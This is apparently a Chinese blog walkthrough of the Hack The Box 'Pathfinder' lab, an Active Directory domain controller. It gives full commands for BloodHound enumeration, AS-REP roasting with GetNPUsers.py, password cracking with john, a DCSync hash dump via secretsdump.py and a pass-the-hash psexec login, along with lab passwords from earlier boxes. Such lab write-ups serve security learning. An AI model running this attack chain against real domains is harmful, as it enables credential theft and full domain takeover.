Hackthebox-Pathfinder

0x00 前言

前面的所有密码:

  • Archetype:Mssql:M3g4c0rp123Administrator:MEGACORP_4dm1n!!
  • OopsieMysql:M3g3C0rpUs3r!ftp:mc@F1l3ZilL4
  • VaccineZip:741852963Web:qwerty789postgres:P@s5w0rd!
  • Shielddomain:Sandra:Password1234!

0x01 过程

1、信息收集

nmap收集信息:

1-31

可以看到开放了88(kerberos)、389(ldap)、3268(全局编录端口),可以判断着一台可能是域控(Domain controller)。

既然在上一台靶机获得了域用户的账号密码,那就用来登陆这一台主机看看,首先用的是Psexec工具,在kali上面Impacket工具已经包含了这个脚本Psexec.py

语法是:

psexec.py [[domain/] username [: password] @] [Target IP Address]

很奇怪,登陆了居然是system,那下面就不用打下去了~

2-3

应该是共享靶机的问题吧,那先按正常流程走一遍,之前我也用这种方式登陆过,但是也出现了认证的错误。

遇到域我已经大半年没有搞过技术了,有点生疏,顺便复习了一遍,写了一篇笔记: https://getshe11.com/2020/12/16/Domain-security/

我看了walkthrough里面一开始就使用bloodhound去枚举域信息,收集域信息,看下有哪些账户是存在配置缺陷之类的,想了解一下bloodhound是什么可以看官方文档: https://bloodhound.readthedocs.io/en/latest/index.html

安装地址: https://github.com/fox-it/BloodHound.py

为什么要用python版本的bloodhound?因为我们直接用psexec是登陆不上去的,而且也没有开3389端口,也就你无法放exe和ps1的脚本放上去执行

GitHub主页也没什么使用方法,直接命令-h查看参数:

usage: bloodhound-python [-h] [-c COLLECTIONMETHOD] [-u USERNAME]
                         [-p PASSWORD] [-k] [--hashes HASHES] [-ns NAMESERVER]
                         [--dns-tcp] [-d DOMAIN] [-dc HOST] [-gc HOST]
                         [-w WORKERS] [-v] [--disable-pooling]

Python based ingestor for BloodHound
For help or reporting issues, visit https://github.com/Fox-IT/BloodHound.py

optional arguments:
  -h, --help            show this help message and exit
  -c COLLECTIONMETHOD, --collectionmethod COLLECTIONMETHOD//这个参数是指定收集的信息,默认是全部都收集
                        Which information to collect. Supported: Group,
                        LocalAdmin, Session, Trusts, Default (all previous),
                        DCOnly (no computer connections), DCOM, RDP,PSRemote,
                        LoggedOn, ObjectProps, ACL, All (all except LoggedOn).
                        You can specify more than one by separating them with
                        a comma. (default: Default)
  -u USERNAME, --username USERNAME //用户名
                        Username. Format: username[@domain]; If the domain is
                        unspecified, the current domain is used.
  -p PASSWORD, --password PASSWORD //密码
                        Password
  -k, --kerberos        Use kerberos //本机已有凭证可使用该函数
  --hashes HASHES       LM:NLTM hashes// 使用NLTM进行登陆
  -ns NAMESERVER, --nameserver NAMESERVER //指定DNS服务器
                        Alternative name server to use for queries
  --dns-tcp             Use TCP instead of UDP for DNS queries //使用tcp
  -d DOMAIN, --domain DOMAIN //指定域
                        Domain to query.
  -dc HOST, --domain-controller HOST //指定域控服务器
                        Override which DC to query (hostname)
  -gc HOST, --global-catalog HOST //指定全局编录服务器
                        Override which GC to query (hostname)
  -w WORKERS, --workers WORKERS //指定工作组
                        Number of workers for computer enumeration (default:
                        10)
  -v                    Enable verbose output //详细信息输出
  --disable-pooling     Don't use subprocesses for ACL parsing (only for
                        debugging purposes)

官方抛出一天命令来收集信息:


bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30

建议在晚上收集,因为白天网络实在太卡了。。之前执行的命令窗口找不到了,用官方的图代替一下: 3.webp

bloodhound.py是采集器,bloodhound工作是需要neo4j数据库,使用以下命令安装:

apt install neo4j
apt install bloodhound

启动neo4j:

neo4j start console

因为首次登陆需要重新设置密码,打开http://localhost:7474/

初始密码是neo4j:neo4j

4-2

修改完密码后打开bloodhound:


bloodhound --no-sandbox

输入刚才更改的密码:

6-2

按旁边的upload data上传刚才bloodhound.py收集到的4个文件:

7-2

查询参数,可以参考文章学习: https://eviladan0s.github.io/2020/06/04/bloodhound-learn/

Find all Domain Admins                                查找所有域管理员
Find Shortest Paths to Domain Admins                  查找域管理员的最短路径
Find Principals with DCSync Rights                    查找具有DCSync权限的主体
Users with Foreign Domain Group Membership            具有外域组成员身份的用户
Groups with Foreign Domain Group Membership           具有外域组成员身份的组
Map Domain Trusts                                     域信任映射图
Shortest Paths to Unconstrained Delegation Systems    到达无约束委派系统的最短路径
Shortest Paths from Kerberoastable Users              来自Kerberoastable用户的最短路径
Shortest Paths to Domain Admins from Kerberoastable Users  可通过Kerberoastable用户访问域管理员的最短路径
Shortest Path from Owned Principals                   已拥有权限最短路径
Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径
Shortest Paths to High Value Targets                  高价值目标的最短路径
List Computers where Domain Users are Local Admin     列出域用户是本地管理员的计算机
Shortest Paths from Domain Users to High Value Targets 从域用户到高价值目标的最短路径
Find All Paths from Domain Users to High Value Targets 查找从域用户到高价值目标的所有路径
Find Workstations where Domain Users can RDP to       查找域用户可以通过RDP到达的工作站
Find Servers where Domain Users can RDP to            查找域用户可以使用RDP进行访问的服务器
Find all other Rights Domain Users shouldn’t have     查找所有正常的域用户不应有的权限
Find Kerberoastable members of High Value Groups      查找高价值用户组的Kerberoastable成员
List all Kerberoastable Accounts                      列出所有Kerberoastable账户
Find Kerberoastable Users with most privileges        查找拥有最多特权的Kerberoastable用户
Find Domain Admin Logons to non-Domain Controllers    查找域管理员登录到非域控制器
Find unsupported OSs                                  查找不受支持的操作系统
Find AS-REP Roastable Users (DontReqPreAuth)          查找AS-REP可被破解的用户

这里主要使用Find Principals with DCSync Rights和Find AS-REP Roastable Users (DontReqPreAuth) :

8.webp

1、Find Principals with DCSync Rights

DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash,可以看到SVC_BES域用户对域控是拥有GetcangAll权限,具体原理可以看 https://adsecurity.org/?p=1729 和 https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#getchanges-getchangesall

2、Find AS-REP Roastable Users (DontReqPreAuth)

查看是否存在AS-REPRoasting漏洞的账户,具体可以看 https://getshe11.com/2020/12/16/Domain-security/#AS-REPRoasting

2、获取权限

利用刚才存在AS-REPRoasting漏洞的账户获取TGT票据进行解密,使用Impacket里面的GetNPUsers.py,关于Impacket的使用说明可以参考: https://blog.csdn.net/weixin_30877755/article/details/96203724


GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

借用一下官方图,获取到svc_bes的TGT 票据:

9.webp

可以使用hashcat或者John破解,hash是上面获取到的密文:

john hash -wordlist=/usr/share/wordlists/rockyou.txt

破解出密码:

10.webp

接下来官方介绍了一款非常牛逼的工具evil-winrm,其实在一开始我们就可以用这个工具进行操作,上传exe或者poweshell版本的bloodhound,毕竟python版本的bloodhound功能有限,具体用法可以看: https://github.com/Hackplayers/evil-winrm

安装与连接:

gem install evil-winrm
evil-winrm -i 10.10.10.30 -u svc_bes -p Sheffield19

3、提权

登陆域用户svc_bes后毕竟是没有管理员权限的,我们最终的目标是读取到administrator用户桌面的文件root.txt:

11-1

可以使用Impacket里面的secretsdump.py工具导出hash:


secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30
12.webp

然后使用psexec.py登陆服务器:


psexec.py megacorp.local/administrator@10.10.10.30 -hashes <NTML hash>:<NTLM hash>
13.webp

这里奇怪的是我用Sandra域用户照样可以导出域的全面用户hash:

14

后来也查了一下这个用户的权限,属于本地管理员还有域用户,太久了不太记得之前是什么权限了,我记得是有些权限它没有的:

15

0x03 总结

  • 判断是否开了这三个端口88(kerberos)、389(ldap)、3268(全局编录端口),如果开了是域控的可能性很大
  • psexec工具使用,可以使用hash或者账户密码登陆
psexec.py [[domain/] username [: password] @] [Target IP Address]
  • bloodhound工具使用如果已经拿到域用户可以登陆主机上传exe或者ps1的执行收集数据,远程的话可以使用python版本的,但是不是全部收集功能都支持
  • 3389登陆问题,我之后拿到域控权限又开启了3389的连接,想登陆用图形界面看下里面的环境配置:但发现登陆出现了一下问题:16一开始还以为是rdesktop的问题,后来查资料是没有开这个选项:17.webp
  • 其他漏洞总结我都写在这一篇里面了: https://getshe11.com/2020/12/16/Domain-security/
© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容